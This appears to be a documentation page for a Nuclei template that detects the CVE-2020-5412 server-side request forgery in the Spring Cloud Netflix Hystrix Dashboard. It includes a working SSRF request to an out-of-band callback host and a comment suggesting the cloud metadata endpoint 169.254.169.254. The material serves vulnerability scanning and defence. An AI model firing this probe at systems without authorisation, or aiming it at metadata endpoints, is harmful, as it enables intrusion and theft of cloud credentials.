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Nuclei Templates

Spring Cloud Netflix - Server-Side Request Forgery

ID: CVE-2020-5412

Severity: medium

Author: dwisiswant0

Tags: cve,cve2020,ssrf,springcloud,vmware

Description

Section titled “Description”

Spring Cloud Netflix 2.2.x prior to 2.2.4, 2.1.x prior to 2.1.6, and older unsupported versions are susceptible to server-side request forgery. Applications can use the Hystrix Dashboard proxy.stream endpoint to make requests to any server reachable by the server hosting the dashboard. An attacker can send a request to other servers and thus potentially access sensitive information, modify data, and/or execute unauthorized operations.

YAML Source

Section titled “YAML Source”
id: CVE-2020-5412


info:
  name: Spring Cloud Netflix - Server-Side Request Forgery
  author: dwisiswant0
  severity: medium
  description: Spring Cloud Netflix 2.2.x prior to 2.2.4, 2.1.x prior to 2.1.6, and older unsupported versions are susceptible to server-side request forgery. Applications can use the Hystrix Dashboard proxy.stream endpoint to make requests to any server reachable by the server hosting the dashboard. An attacker can send a request to other servers and thus potentially access sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    The vulnerability can result in unauthorized access to sensitive data or systems, leading to potential data breaches or further exploitation.
  remediation: |
    Apply the latest security patches or updates provided by Spring Cloud Netflix to mitigate the vulnerability.
  reference:
    - https://tanzu.vmware.com/security/cve-2020-5412
    - https://nvd.nist.gov/vuln/detail/CVE-2020-5412
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Elsfa7-110/kenzer-templates
    - https://github.com/pen4uin/awesome-vulnerability-research
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2020-5412
    cwe-id: CWE-610,CWE-441
    epss-score: 0.05469
    epss-percentile: 0.93009
    cpe: cpe:2.3:a:vmware:spring_cloud_netflix:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: vmware
    product: spring_cloud_netflix
  tags: cve,cve2020,ssrf,springcloud,vmware


http:
  - method: GET
    path:
      - "{{BaseURL}}/proxy.stream?origin=http://{{interactsh-url}}"


    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"


      - type: word
        part: header
        words:
          - "Jelly"


      - type: status
        status:
          - 200


# To get crithit, try http://169.254.169.254/latest/metadata/
# digest: 4a0a00473045022100a345439eb541558a96a4c756dfcfa72c3cf29d2528aedfb90c5a34a5fb3ab7b6022052cdaeb91c3f9a669e4d3d158cd41aa53e7df6276f888955e8379d1d69c0557d:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-5412.yaml"

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